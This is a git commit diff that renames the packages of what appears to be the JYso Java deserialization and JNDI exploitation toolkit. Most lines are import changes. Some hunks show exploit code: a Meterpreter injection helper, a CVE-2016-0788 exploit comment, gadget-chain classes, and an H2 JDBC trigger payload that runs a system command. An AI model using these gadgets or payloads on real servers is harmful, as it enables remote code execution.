This commit is contained in:
qi4L
2024-08-26 12:10:08 +08:00
parent 1af4889b92
commit 48c03d08df
1121 changed files with 12715 additions and 792 deletions
@@ -1,12 +1,12 @@
package com.qi4l.jndi;
package com.qi4l.JYso;
import cn.hutool.core.io.file.FileReader;
import com.qi4l.jndi.gadgets.Config.Config;
import com.qi4l.jndi.gadgets.utils.Cache;
import com.qi4l.jndi.gadgets.utils.Util;
import com.qi4l.jndi.template.CommandTemplate;
import com.qi4l.jndi.template.DnslogTemplate;
import com.qi4l.jndi.template.ReverseShellTemplate;
import com.qi4l.JYso.gadgets.Config.Config;
import com.qi4l.JYso.gadgets.utils.Cache;
import com.qi4l.JYso.gadgets.utils.Util;
import com.qi4l.JYso.template.CommandTemplate;
import com.qi4l.JYso.template.DnslogTemplate;
import com.qi4l.JYso.template.ReverseShellTemplate;
import com.sun.net.httpserver.HttpExchange;
import com.sun.net.httpserver.HttpHandler;
import com.sun.net.httpserver.HttpServer;
@@ -1,9 +1,9 @@
package com.qi4l.jndi;
package com.qi4l.JYso;
import com.qi4l.jndi.controllers.LdapController;
import com.qi4l.jndi.controllers.LdapMapping;
import com.qi4l.jndi.controllers.utils.AESUtils;
import com.qi4l.jndi.gadgets.Config.Config;
import com.qi4l.JYso.controllers.LdapController;
import com.qi4l.JYso.controllers.LdapMapping;
import com.qi4l.JYso.controllers.utils.AESUtils;
import com.qi4l.JYso.gadgets.Config.Config;
import com.unboundid.ldap.listener.InMemoryDirectoryServer;
import com.unboundid.ldap.listener.InMemoryDirectoryServerConfig;
import com.unboundid.ldap.listener.InMemoryListenerConfig;
@@ -19,8 +19,8 @@ import java.net.InetAddress;
import java.util.Set;
import java.util.TreeMap;
import static com.qi4l.jndi.gadgets.Config.Config.*;
import static com.qi4l.jndi.gadgets.utils.Utils.base64Decode;
import static com.qi4l.JYso.gadgets.Config.Config.*;
import static com.qi4l.JYso.gadgets.utils.Utils.base64Decode;
import static org.fusesource.jansi.Ansi.ansi;
@@ -1,11 +1,11 @@
package com.qi4l.jndi;
package com.qi4l.JYso;
import com.qi4l.jndi.gadgets.Config.Config;
import com.qi4l.jndi.gadgets.utils.Gadgets;
import com.qi4l.jndi.gadgets.utils.InjShell;
import com.qi4l.jndi.gadgets.utils.Reflections;
import com.qi4l.jndi.gadgets.utils.handle.ClassNameHandler;
import com.qi4l.JYso.gadgets.Config.Config;
import com.qi4l.JYso.gadgets.utils.Gadgets;
import com.qi4l.JYso.gadgets.utils.InjShell;
import com.qi4l.JYso.gadgets.utils.Reflections;
import com.qi4l.JYso.gadgets.utils.handle.ClassNameHandler;
import com.sun.jndi.rmi.registry.ReferenceWrapper;
import com.unboundid.ldap.listener.interceptor.InMemoryOperationInterceptor;
import org.apache.naming.ResourceRef;
@@ -24,7 +24,7 @@ import java.rmi.server.RemoteObject;
import java.rmi.server.UID;
import java.util.Arrays;
import static com.qi4l.jndi.gadgets.Config.Config.*;
import static com.qi4l.JYso.gadgets.Config.Config.*;
import static org.fusesource.jansi.Ansi.ansi;
@@ -1,10 +1,10 @@
package com.qi4l.jndi;
package com.qi4l.JYso;
import com.qi4l.jndi.gadgets.Config.Config;
import com.qi4l.jndi.gadgets.ObjectPayload;
import com.qi4l.JYso.gadgets.Config.Config;
import com.qi4l.JYso.gadgets.ObjectPayload;
import org.apache.commons.collections4.map.CaseInsensitiveMap;
import static com.qi4l.jndi.controllers.ysoserial.ysoserial;
import static com.qi4l.JYso.controllers.ysoserial.ysoserial;
public class Starter {
@@ -1,16 +1,15 @@
package com.qi4l.jndi.controllers;
package com.qi4l.JYso.controllers;
import com.qi4l.jndi.enumtypes.GadgetType;
import com.qi4l.jndi.exceptions.IncorrectParamsException;
import com.qi4l.jndi.exceptions.UnSupportedPayloadTypeException;
import com.qi4l.jndi.gadgets.Config.Config;
import com.qi4l.jndi.gadgets.utils.Gadgets;
import com.qi4l.jndi.gadgets.utils.InjShell;
import com.qi4l.jndi.gadgets.utils.Util;
import com.qi4l.jndi.gadgets.utils.handle.ClassNameHandler;
import com.qi4l.jndi.template.CommandTemplate;
import com.qi4l.jndi.template.echoStatic.Meterpreter;
import com.qi4l.jndi.template.echoStatic.TomcatEcho;
import com.qi4l.JYso.enumtypes.GadgetType;
import com.qi4l.JYso.exceptions.IncorrectParamsException;
import com.qi4l.JYso.exceptions.UnSupportedPayloadTypeException;
import com.qi4l.JYso.gadgets.Config.Config;
import com.qi4l.JYso.gadgets.utils.Gadgets;
import com.qi4l.JYso.gadgets.utils.InjShell;
import com.qi4l.JYso.gadgets.utils.Util;
import com.qi4l.JYso.gadgets.utils.handle.ClassNameHandler;
import com.qi4l.JYso.template.CommandTemplate;
import com.qi4l.JYso.template.echoStatic.Meterpreter;
import com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult;
import com.unboundid.ldap.sdk.Entry;
import com.unboundid.ldap.sdk.LDAPResult;
@@ -1,9 +1,9 @@
package com.qi4l.jndi.controllers;
package com.qi4l.JYso.controllers;
import com.qi4l.jndi.enumtypes.PayloadType;
import com.qi4l.jndi.exceptions.IncorrectParamsException;
import com.qi4l.jndi.exceptions.UnSupportedPayloadTypeException;
import com.qi4l.jndi.gadgets.utils.Util;
import com.qi4l.JYso.enumtypes.PayloadType;
import com.qi4l.JYso.exceptions.IncorrectParamsException;
import com.qi4l.JYso.exceptions.UnSupportedPayloadTypeException;
import com.qi4l.JYso.gadgets.utils.Util;
import com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult;
import com.unboundid.ldap.sdk.Entry;
import com.unboundid.ldap.sdk.LDAPResult;
@@ -1,9 +1,9 @@
package com.qi4l.jndi.controllers;
package com.qi4l.JYso.controllers;
import com.qi4l.jndi.exceptions.IncorrectParamsException;
import com.qi4l.jndi.exceptions.UnSupportedActionTypeException;
import com.qi4l.jndi.exceptions.UnSupportedGadgetTypeException;
import com.qi4l.jndi.exceptions.UnSupportedPayloadTypeException;
import com.qi4l.JYso.exceptions.IncorrectParamsException;
import com.qi4l.JYso.exceptions.UnSupportedActionTypeException;
import com.qi4l.JYso.exceptions.UnSupportedGadgetTypeException;
import com.qi4l.JYso.exceptions.UnSupportedPayloadTypeException;
import com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult;
public interface LdapController {
@@ -1,4 +1,4 @@
package com.qi4l.jndi.controllers;
package com.qi4l.JYso.controllers;
import java.lang.annotation.ElementType;
import java.lang.annotation.Retention;
@@ -1,4 +1,4 @@
package com.qi4l.jndi.controllers;
package com.qi4l.JYso.controllers;
import javax.naming.RefAddr;
import java.util.Properties;
@@ -1,13 +1,13 @@
package com.qi4l.jndi.controllers;
package com.qi4l.JYso.controllers;
import com.qi4l.jndi.enumtypes.GadgetType;
import com.qi4l.jndi.enumtypes.PayloadType;
import com.qi4l.jndi.exceptions.IncorrectParamsException;
import com.qi4l.jndi.exceptions.UnSupportedGadgetTypeException;
import com.qi4l.jndi.exceptions.UnSupportedPayloadTypeException;
import com.qi4l.jndi.gadgets.ObjectPayload;
import com.qi4l.jndi.gadgets.utils.Serializer;
import com.qi4l.jndi.gadgets.utils.Util;
import com.qi4l.JYso.enumtypes.GadgetType;
import com.qi4l.JYso.enumtypes.PayloadType;
import com.qi4l.JYso.exceptions.IncorrectParamsException;
import com.qi4l.JYso.exceptions.UnSupportedGadgetTypeException;
import com.qi4l.JYso.exceptions.UnSupportedPayloadTypeException;
import com.qi4l.JYso.gadgets.ObjectPayload;
import com.qi4l.JYso.gadgets.utils.Serializer;
import com.qi4l.JYso.gadgets.utils.Util;
import com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult;
import com.unboundid.ldap.sdk.Entry;
import com.unboundid.ldap.sdk.LDAPResult;
@@ -17,7 +17,7 @@ import org.apache.commons.cli.CommandLine;
import java.io.ByteArrayOutputStream;
import java.util.Base64;
import static com.qi4l.jndi.gadgets.Config.Config.BCEL1;
import static com.qi4l.JYso.gadgets.Config.Config.BCEL1;
import static org.fusesource.jansi.Ansi.ansi;
@LdapMapping(uri = {"/deserialization"})
@@ -1,13 +1,13 @@
package com.qi4l.jndi.controllers;
package com.qi4l.JYso.controllers;
import com.qi4l.jndi.enumtypes.GadgetType;
import com.qi4l.jndi.exceptions.IncorrectParamsException;
import com.qi4l.jndi.exceptions.UnSupportedPayloadTypeException;
import com.qi4l.jndi.gadgets.Config.Config;
import com.qi4l.jndi.gadgets.utils.Gadgets;
import com.qi4l.jndi.gadgets.utils.InjShell;
import com.qi4l.jndi.gadgets.utils.Util;
import com.qi4l.jndi.gadgets.utils.handle.ClassNameHandler;
import com.qi4l.JYso.enumtypes.GadgetType;
import com.qi4l.JYso.exceptions.IncorrectParamsException;
import com.qi4l.JYso.exceptions.UnSupportedPayloadTypeException;
import com.qi4l.JYso.gadgets.Config.Config;
import com.qi4l.JYso.gadgets.utils.Gadgets;
import com.qi4l.JYso.gadgets.utils.InjShell;
import com.qi4l.JYso.gadgets.utils.Util;
import com.qi4l.JYso.gadgets.utils.handle.ClassNameHandler;
import com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult;
import com.unboundid.ldap.sdk.Entry;
import com.unboundid.ldap.sdk.LDAPResult;
@@ -135,7 +135,7 @@ public class TomcatBypassController implements LdapController {
private class TomcatBypassHelper {
public String injectMeterpreter() throws ClassNotFoundException, NoSuchFieldException, IllegalAccessException {
Class<?> ctClazz = Class.forName("com.qi4l.jndi.template.Meterpreter");
Class<?> ctClazz = Class.forName("com.qi4l.JYso.template.Meterpreter");
Field WinClassName = ctClazz.getDeclaredField("host");
WinClassName.setAccessible(true);
WinClassName.set(ctClazz, params[0]);
@@ -1,13 +1,13 @@
package com.qi4l.jndi.controllers;
package com.qi4l.JYso.controllers;
import com.qi4l.jndi.enumtypes.GadgetType;
import com.qi4l.jndi.exceptions.IncorrectParamsException;
import com.qi4l.jndi.exceptions.UnSupportedPayloadTypeException;
import com.qi4l.jndi.gadgets.Config.Config;
import com.qi4l.jndi.gadgets.utils.Gadgets;
import com.qi4l.jndi.gadgets.utils.InjShell;
import com.qi4l.jndi.gadgets.utils.Util;
import com.qi4l.jndi.gadgets.utils.handle.ClassNameHandler;
import com.qi4l.JYso.enumtypes.GadgetType;
import com.qi4l.JYso.exceptions.IncorrectParamsException;
import com.qi4l.JYso.exceptions.UnSupportedPayloadTypeException;
import com.qi4l.JYso.gadgets.Config.Config;
import com.qi4l.JYso.gadgets.utils.Gadgets;
import com.qi4l.JYso.gadgets.utils.InjShell;
import com.qi4l.JYso.gadgets.utils.Util;
import com.qi4l.JYso.gadgets.utils.handle.ClassNameHandler;
import com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult;
import com.unboundid.ldap.sdk.Entry;
import com.unboundid.ldap.sdk.LDAPResult;
@@ -17,7 +17,6 @@ import javax.naming.StringRefAddr;
import java.io.IOException;
import java.lang.reflect.Field;
import javax.naming.Reference;
import javax.naming.StringRefAddr;
import static org.fusesource.jansi.Ansi.ansi;
@@ -157,7 +156,7 @@ public class TomcatJdbcController implements LdapController {
private class TomcatBypassHelper {
public String injectMeterpreter() throws ClassNotFoundException, NoSuchFieldException, IllegalAccessException {
Class<?> ctClazz = Class.forName("com.qi4l.jndi.template.Meterpreter");
Class<?> ctClazz = Class.forName("com.qi4l.JYso.template.Meterpreter");
Field WinClassName = ctClazz.getDeclaredField("host");
WinClassName.setAccessible(true);
WinClassName.set(ctClazz, params[0]);
@@ -1,12 +1,12 @@
package com.qi4l.jndi.controllers;
package com.qi4l.JYso.controllers;
import com.qi4l.jndi.enumtypes.PayloadType;
import com.qi4l.jndi.enumtypes.WebsphereActionType;
import com.qi4l.jndi.exceptions.IncorrectParamsException;
import com.qi4l.jndi.exceptions.UnSupportedActionTypeException;
import com.qi4l.jndi.exceptions.UnSupportedPayloadTypeException;
import com.qi4l.jndi.gadgets.Config.Config;
import com.qi4l.jndi.gadgets.utils.Util;
import com.qi4l.JYso.enumtypes.PayloadType;
import com.qi4l.JYso.enumtypes.WebsphereActionType;
import com.qi4l.JYso.exceptions.IncorrectParamsException;
import com.qi4l.JYso.exceptions.UnSupportedActionTypeException;
import com.qi4l.JYso.exceptions.UnSupportedPayloadTypeException;
import com.qi4l.JYso.gadgets.Config.Config;
import com.qi4l.JYso.gadgets.utils.Util;
import com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult;
import com.unboundid.ldap.sdk.Entry;
import com.unboundid.ldap.sdk.LDAPResult;
@@ -1,4 +1,4 @@
package com.qi4l.jndi.controllers.utils;
package com.qi4l.JYso.controllers.utils;
import javax.crypto.Cipher;
import javax.crypto.spec.IvParameterSpec;
@@ -1,20 +1,20 @@
package com.qi4l.jndi.controllers;
package com.qi4l.JYso.controllers;
import com.qi4l.jndi.gadgets.Config.Config;
import com.qi4l.jndi.gadgets.ObjectPayload;
import com.qi4l.jndi.gadgets.annotation.Authors;
import com.qi4l.jndi.gadgets.annotation.Dependencies;
import com.qi4l.jndi.gadgets.utils.Serializer;
import com.qi4l.jndi.gadgets.utils.StringUtil;
import com.qi4l.jndi.gadgets.utils.dirty.DirtyDataWrapper;
import com.qi4l.JYso.gadgets.Config.Config;
import com.qi4l.JYso.gadgets.ObjectPayload;
import com.qi4l.JYso.gadgets.annotation.Authors;
import com.qi4l.JYso.gadgets.annotation.Dependencies;
import com.qi4l.JYso.gadgets.utils.Serializer;
import com.qi4l.JYso.gadgets.utils.StringUtil;
import com.qi4l.JYso.gadgets.utils.dirty.DirtyDataWrapper;
import org.apache.commons.cli.*;
import java.io.FileOutputStream;
import java.io.OutputStream;
import java.util.*;
import static com.qi4l.jndi.gadgets.utils.HexUtils.generatePassword;
import static com.qi4l.jndi.gadgets.utils.StringUtil.isFromExploit;
import static com.qi4l.JYso.gadgets.utils.HexUtils.generatePassword;
import static com.qi4l.JYso.gadgets.utils.StringUtil.isFromExploit;
public class ysoserial {
@@ -1,4 +1,4 @@
package com.qi4l.jndi.enumtypes;
package com.qi4l.JYso.enumtypes;
public enum GadgetType {
base64Two,
@@ -1,4 +1,4 @@
package com.qi4l.jndi.enumtypes;
package com.qi4l.JYso.enumtypes;
public enum PayloadType {
sethttp,
@@ -1,4 +1,4 @@
package com.qi4l.jndi.enumtypes;
package com.qi4l.JYso.enumtypes;
public enum WebsphereActionType {
list,
@@ -1,4 +1,4 @@
package com.qi4l.jndi.exceptions;
package com.qi4l.JYso.exceptions;
public class IncorrectParamsException extends RuntimeException {
public IncorrectParamsException() {
@@ -1,4 +1,4 @@
package com.qi4l.jndi.exceptions;
package com.qi4l.JYso.exceptions;
public class UnSupportedActionTypeException extends RuntimeException {
public UnSupportedActionTypeException() {
@@ -1,4 +1,4 @@
package com.qi4l.jndi.exceptions;
package com.qi4l.JYso.exceptions;
public class UnSupportedGadgetTypeException extends RuntimeException {
public UnSupportedGadgetTypeException() {
@@ -1,4 +1,4 @@
package com.qi4l.jndi.exceptions;
package com.qi4l.JYso.exceptions;
public class UnSupportedPayloadTypeException extends RuntimeException {
public UnSupportedPayloadTypeException() {
@@ -1,8 +1,8 @@
package com.qi4l.jndi.exploit;
package com.qi4l.JYso.exploit;
import static com.qi4l.jndi.controllers.ysoserial.ysoserial;
import com.qi4l.jndi.controllers.ysoserial;
import com.qi4l.jndi.gadgets.utils.Reflections;
import static com.qi4l.JYso.controllers.ysoserial.ysoserial;
import com.qi4l.JYso.controllers.ysoserial;
import com.qi4l.JYso.gadgets.utils.Reflections;
import org.jboss.remoting3.Connection;
import org.jboss.remoting3.*;
import org.jboss.remoting3.remote.HttpUpgradeConnectionProviderFactory;
@@ -1,7 +1,7 @@
package com.qi4l.jndi.exploit;
package com.qi4l.JYso.exploit;
import static com.qi4l.jndi.controllers.ysoserial.ysoserial;
import com.qi4l.jndi.controllers.ysoserial;
import static com.qi4l.JYso.controllers.ysoserial.ysoserial;
import com.qi4l.JYso.controllers.ysoserial;
import javax.management.MBeanServerConnection;
import javax.management.ObjectName;
@@ -1,6 +1,6 @@
package com.qi4l.jndi.exploit;
package com.qi4l.JYso.exploit;
import com.qi4l.jndi.gadgets.JRMPClient;
import com.qi4l.JYso.gadgets.JRMPClient;
import java.net.URL;
@@ -1,7 +1,7 @@
package com.qi4l.jndi.exploit;
package com.qi4l.JYso.exploit;
import static com.qi4l.jndi.controllers.ysoserial.ysoserial;
import com.qi4l.jndi.controllers.ysoserial;
import static com.qi4l.JYso.controllers.ysoserial.ysoserial;
import com.qi4l.JYso.controllers.ysoserial;
import sun.rmi.transport.TransportConstants;
import javax.net.SocketFactory;
@@ -1,9 +1,9 @@
package com.qi4l.jndi.exploit;
package com.qi4l.JYso.exploit;
import static com.qi4l.jndi.controllers.ysoserial.ysoserial;
import static com.qi4l.JYso.controllers.ysoserial.ysoserial;
import com.qi4l.jndi.controllers.ysoserial;
import com.qi4l.jndi.gadgets.utils.Reflections;
import com.qi4l.JYso.controllers.ysoserial;
import com.qi4l.JYso.gadgets.utils.Reflections;
import javassist.ClassClassPath;
import javassist.ClassPool;
import javassist.CtClass;
@@ -1,7 +1,7 @@
package com.qi4l.jndi.exploit;
package com.qi4l.JYso.exploit;
import static com.qi4l.jndi.controllers.ysoserial.ysoserial;
import com.qi4l.jndi.controllers.ysoserial;
import static com.qi4l.JYso.controllers.ysoserial.ysoserial;
import com.qi4l.JYso.controllers.ysoserial;
import org.apache.commons.codec.binary.Base64;
import java.io.ByteArrayOutputStream;
@@ -1,8 +1,8 @@
package com.qi4l.jndi.exploit;
package com.qi4l.JYso.exploit;
import static com.qi4l.jndi.controllers.ysoserial.ysoserial;
import com.qi4l.jndi.controllers.ysoserial;
import com.qi4l.jndi.gadgets.utils.Reflections;
import static com.qi4l.JYso.controllers.ysoserial.ysoserial;
import com.qi4l.JYso.controllers.ysoserial;
import com.qi4l.JYso.gadgets.utils.Reflections;
import hudson.remoting.Callable;
import hudson.remoting.Channel;
import hudson.remoting.Channel.Mode;
@@ -1,9 +1,9 @@
package com.qi4l.jndi.exploit;
package com.qi4l.JYso.exploit;
import static com.qi4l.jndi.controllers.ysoserial.ysoserial;
import com.qi4l.jndi.controllers.ysoserial;
import com.qi4l.jndi.gadgets.JRMPListener;
import com.qi4l.jndi.gadgets.utils.Reflections;
import static com.qi4l.JYso.controllers.ysoserial.ysoserial;
import com.qi4l.JYso.controllers.ysoserial;
import com.qi4l.JYso.gadgets.JRMPListener;
import com.qi4l.JYso.gadgets.utils.Reflections;
import hudson.remoting.Callable;
import hudson.remoting.Channel;
import hudson.remoting.JarLoader;
@@ -1,8 +1,8 @@
package com.qi4l.jndi.exploit;
package com.qi4l.JYso.exploit;
import static com.qi4l.jndi.controllers.ysoserial.ysoserial;
import com.qi4l.jndi.controllers.ysoserial;
import com.qi4l.jndi.gadgets.JRMPClient;
import static com.qi4l.JYso.controllers.ysoserial.ysoserial;
import com.qi4l.JYso.controllers.ysoserial;
import com.qi4l.JYso.gadgets.JRMPClient;
import hudson.remoting.Channel;
import java.io.IOException;
@@ -14,7 +14,7 @@ import java.util.Random;
* CVE-2016-0788 exploit (2)
* <p>
* - Sets up a local {@link JRMPListener}
* - Delivers a {@link com.qi4l.jndi.exploit.JRMPClient} payload via the CLI protocol
* - Delivers a {@link com.qi4l.JYso.exploit.JRMPClient} payload via the CLI protocol
* that will cause the remote to open a JRMP connection to our listener
* - upon connection the specified payload will be delivered to the remote
* (that will deserialize using a default ObjectInputStream)
@@ -1,6 +1,6 @@
package com.qi4l.jndi.exploit;
package com.qi4l.JYso.exploit;
import com.qi4l.jndi.gadgets.utils.Reflections;
import com.qi4l.JYso.gadgets.utils.Reflections;
import com.sun.security.auth.UnixPrincipal;
import sun.rmi.transport.StreamRemoteCall;
import sun.rmi.transport.tcp.TCPEndpoint;
@@ -1,8 +1,8 @@
package com.qi4l.jndi.gadgets;
package com.qi4l.JYso.gadgets;
import com.qi4l.jndi.gadgets.annotation.Authors;
import com.qi4l.jndi.gadgets.annotation.Dependencies;
import com.qi4l.jndi.gadgets.utils.Reflections;
import com.qi4l.JYso.gadgets.annotation.Authors;
import com.qi4l.JYso.gadgets.annotation.Dependencies;
import com.qi4l.JYso.gadgets.utils.Reflections;
import org.apache.commons.codec.binary.Base64;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ConstantTransformer;
@@ -1,8 +1,8 @@
package com.qi4l.jndi.gadgets;
package com.qi4l.JYso.gadgets;
import com.qi4l.jndi.gadgets.annotation.Authors;
import com.qi4l.jndi.gadgets.annotation.Dependencies;
import com.qi4l.jndi.gadgets.utils.Reflections;
import com.qi4l.JYso.gadgets.annotation.Authors;
import com.qi4l.JYso.gadgets.annotation.Dependencies;
import com.qi4l.JYso.gadgets.utils.Reflections;
import org.apache.commons.codec.binary.Base64;
import org.apache.commons.collections.Factory;
import org.apache.commons.collections.Transformer;
@@ -1,11 +1,11 @@
package com.qi4l.jndi.gadgets;
package com.qi4l.JYso.gadgets;
import bsh.Interpreter;
import bsh.XThis;
import com.qi4l.jndi.gadgets.annotation.Authors;
import com.qi4l.jndi.gadgets.annotation.Dependencies;
import com.qi4l.jndi.gadgets.utils.Reflections;
import com.qi4l.jndi.gadgets.utils.beanshell.BeanShellUtil;
import com.qi4l.JYso.gadgets.annotation.Authors;
import com.qi4l.JYso.gadgets.annotation.Dependencies;
import com.qi4l.JYso.gadgets.utils.Reflections;
import com.qi4l.JYso.gadgets.utils.beanshell.BeanShellUtil;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Proxy;
@@ -1,12 +1,10 @@
package com.qi4l.jndi.gadgets;
package com.qi4l.JYso.gadgets;
import bsh.Interpreter;
import bsh.NameSpace;
import bsh.XThis;
import com.qi4l.jndi.gadgets.annotation.Authors;
import com.qi4l.jndi.gadgets.annotation.Dependencies;
import com.qi4l.jndi.gadgets.utils.Reflections;
import com.qi4l.jndi.gadgets.utils.beanshell.BeanShellUtil;
import com.qi4l.JYso.gadgets.annotation.Authors;
import com.qi4l.JYso.gadgets.annotation.Dependencies;
import com.qi4l.JYso.gadgets.utils.beanshell.BeanShellUtil;
import java.lang.reflect.*;
import java.util.Comparator;
@@ -1,10 +1,10 @@
package com.qi4l.jndi.gadgets;
package com.qi4l.JYso.gadgets;
import com.mchange.v2.c3p0.PoolBackedDataSource;
import com.mchange.v2.c3p0.impl.PoolBackedDataSourceBase;
import com.qi4l.jndi.gadgets.annotation.Authors;
import com.qi4l.jndi.gadgets.annotation.Dependencies;
import com.qi4l.jndi.gadgets.utils.Reflections;
import com.qi4l.JYso.gadgets.annotation.Authors;
import com.qi4l.JYso.gadgets.annotation.Dependencies;
import com.qi4l.JYso.gadgets.utils.Reflections;
import javax.naming.NamingException;
import javax.naming.Reference;
@@ -1,10 +1,10 @@
package com.qi4l.jndi.gadgets;
package com.qi4l.JYso.gadgets;
import com.mchange.v2.c3p0.PoolBackedDataSource;
import com.mchange.v2.c3p0.impl.PoolBackedDataSourceBase;
import com.qi4l.jndi.gadgets.annotation.Authors;
import com.qi4l.jndi.gadgets.annotation.Dependencies;
import com.qi4l.jndi.gadgets.utils.Reflections;
import com.qi4l.JYso.gadgets.annotation.Authors;
import com.qi4l.JYso.gadgets.annotation.Dependencies;
import com.qi4l.JYso.gadgets.utils.Reflections;
import org.apache.naming.ResourceRef;
import javax.naming.NamingException;
@@ -18,8 +18,8 @@ import java.sql.SQLException;
import java.sql.SQLFeatureNotSupportedException;
import java.util.logging.Logger;
import static com.qi4l.jndi.gadgets.utils.Utils.getJSEngineValue;
import static com.qi4l.jndi.gadgets.utils.handle.GlassHandler.generateClass;
import static com.qi4l.JYso.gadgets.utils.Utils.getJSEngineValue;
import static com.qi4l.JYso.gadgets.utils.handle.GlassHandler.generateClass;
/**
* C3P02 通过Tomcat 的 getObjectInstance 方法调用 ELProcessor 的 eval 方法实现表达式注入
@@ -1,10 +1,10 @@
package com.qi4l.jndi.gadgets;
package com.qi4l.JYso.gadgets;
import com.mchange.v2.c3p0.PoolBackedDataSource;
import com.mchange.v2.c3p0.impl.PoolBackedDataSourceBase;
import com.qi4l.jndi.gadgets.annotation.Authors;
import com.qi4l.jndi.gadgets.annotation.Dependencies;
import com.qi4l.jndi.gadgets.utils.Reflections;
import com.qi4l.JYso.gadgets.annotation.Authors;
import com.qi4l.JYso.gadgets.annotation.Dependencies;
import com.qi4l.JYso.gadgets.utils.Reflections;
import org.apache.naming.ResourceRef;
import javax.naming.NamingException;
@@ -1,12 +1,12 @@
package com.qi4l.jndi.gadgets;
package com.qi4l.JYso.gadgets;
import com.mchange.v2.c3p0.PoolBackedDataSource;
import com.mchange.v2.c3p0.impl.PoolBackedDataSourceBase;
import com.qi4l.jndi.gadgets.annotation.Authors;
import com.qi4l.jndi.gadgets.annotation.Dependencies;
import com.qi4l.jndi.gadgets.utils.HexUtils;
import com.qi4l.jndi.gadgets.utils.Reflections;
import com.qi4l.jndi.gadgets.utils.SnakeYamlUtils;
import com.qi4l.JYso.gadgets.annotation.Authors;
import com.qi4l.JYso.gadgets.annotation.Dependencies;
import com.qi4l.JYso.gadgets.utils.HexUtils;
import com.qi4l.JYso.gadgets.utils.Reflections;
import com.qi4l.JYso.gadgets.utils.SnakeYamlUtils;
import org.apache.naming.ResourceRef;
import javax.naming.NamingException;
@@ -1,10 +1,10 @@
package com.qi4l.jndi.gadgets;
package com.qi4l.JYso.gadgets;
import com.qi4l.jndi.gadgets.annotation.Authors;
import com.qi4l.jndi.gadgets.annotation.Dependencies;
import com.qi4l.jndi.gadgets.utils.Reflections;
import com.qi4l.jndi.gadgets.utils.SuClassLoader;
import com.qi4l.jndi.gadgets.utils.handle.ClassFieldHandler;
import com.qi4l.JYso.gadgets.annotation.Authors;
import com.qi4l.JYso.gadgets.annotation.Dependencies;
import com.qi4l.JYso.gadgets.utils.Reflections;
import com.qi4l.JYso.gadgets.utils.SuClassLoader;
import com.qi4l.JYso.gadgets.utils.handle.ClassFieldHandler;
import javassist.ClassClassPath;
import javassist.ClassPool;
import javassist.CtClass;
@@ -1,9 +1,9 @@
package com.qi4l.jndi.gadgets;
package com.qi4l.JYso.gadgets;
import com.alibaba.fastjson.JSONArray;
import com.mchange.v2.c3p0.ComboPooledDataSource;
import com.qi4l.jndi.gadgets.annotation.Authors;
import com.qi4l.jndi.gadgets.annotation.Dependencies;
import com.qi4l.JYso.gadgets.annotation.Authors;
import com.qi4l.JYso.gadgets.annotation.Dependencies;
import javax.management.BadAttributeValueExpException;
import java.lang.reflect.Field;
@@ -12,20 +12,19 @@ import java.util.HashMap;
@Dependencies({"com.mchange:c3p0:0.9.5.2", "com.alibaba.fastjson:com.alibaba.fastjson1.X"})
@Authors({Authors.Unam4})
public class C3P0JDBC implements ObjectPayload<Object> {
private static String cmd = "jdbc:h2:mem:test;MODE=MSSQLServer;init=CREATE TRIGGER shell3 BEFORE SELECT ON\n" +
"INFORMATION_SCHEMA.TABLES AS $$//javascript\n" +
"java.lang.Runtime.getRuntime().exec('open -a calculator')\n" +
"$$\n";
//private static String cmd = "jdbc:h2:mem:test;MODE=MSSQLServer;init=CREATE TRIGGER shell3 BEFORE SELECT ON\n" +
// "INFORMATION_SCHEMA.TABLES AS $$//javascript\n" +
// "java.lang.Runtime.getRuntime().exec('open -a calculator')\n" +
// "$$\n";
@Override
public Object getObject(String command) throws Exception {
if (!command.toLowerCase().startsWith("jdbc:")) {
throw new Exception("Command format is: eviljdbcurl");
}
cmd = command;
ComboPooledDataSource o = new ComboPooledDataSource();
o.setJdbcUrl(cmd);
o.setJdbcUrl(command);
o.setMaxIdleTime(1);
o.setMaxPoolSize(1);
@@ -1,9 +1,9 @@
package com.qi4l.jndi.gadgets;
package com.qi4l.JYso.gadgets;
import com.alibaba.fastjson.JSONArray;
import com.qi4l.jndi.gadgets.annotation.Authors;
import com.qi4l.jndi.gadgets.annotation.Dependencies;
import com.qi4l.jndi.gadgets.utils.Reflections;
import com.qi4l.JYso.gadgets.annotation.Authors;
import com.qi4l.JYso.gadgets.annotation.Dependencies;
import com.qi4l.JYso.gadgets.utils.Reflections;
import javax.management.BadAttributeValueExpException;
import java.lang.reflect.Field;
@@ -1,9 +1,9 @@
package com.qi4l.jndi.gadgets;
package com.qi4l.JYso.gadgets;
import com.alibaba.fastjson.JSONArray;
import com.mchange.v2.c3p0.JndiRefConnectionPoolDataSource;
import com.qi4l.jndi.gadgets.annotation.Authors;
import com.qi4l.jndi.gadgets.annotation.Dependencies;
import com.qi4l.JYso.gadgets.annotation.Authors;
import com.qi4l.JYso.gadgets.annotation.Dependencies;
import javax.management.BadAttributeValueExpException;
import java.lang.reflect.Field;
@@ -1,9 +1,9 @@
package com.qi4l.jndi.gadgets;
package com.qi4l.JYso.gadgets;
import com.qi4l.jndi.gadgets.annotation.Authors;
import com.qi4l.jndi.gadgets.annotation.Dependencies;
import com.qi4l.jndi.gadgets.utils.Gadgets;
import com.qi4l.jndi.gadgets.utils.Reflections;
import com.qi4l.JYso.gadgets.annotation.Authors;
import com.qi4l.JYso.gadgets.annotation.Dependencies;
import com.qi4l.JYso.gadgets.utils.Gadgets;
import com.qi4l.JYso.gadgets.utils.Reflections;
import org.apache.click.control.Column;
import org.apache.click.control.Table;
@@ -1,18 +1,18 @@
package com.qi4l.jndi.gadgets;
package com.qi4l.JYso.gadgets;
import clojure.core$comp;
import clojure.core$constantly;
import clojure.inspector.proxy$javax.swing.table.AbstractTableModel$ff19274a;
import clojure.lang.PersistentArrayMap;
import clojure.main$eval_opt;
import com.qi4l.jndi.gadgets.annotation.Authors;
import com.qi4l.jndi.gadgets.annotation.Dependencies;
import com.qi4l.jndi.gadgets.utils.clojure.ClojureUtil;
import com.qi4l.JYso.gadgets.annotation.Authors;
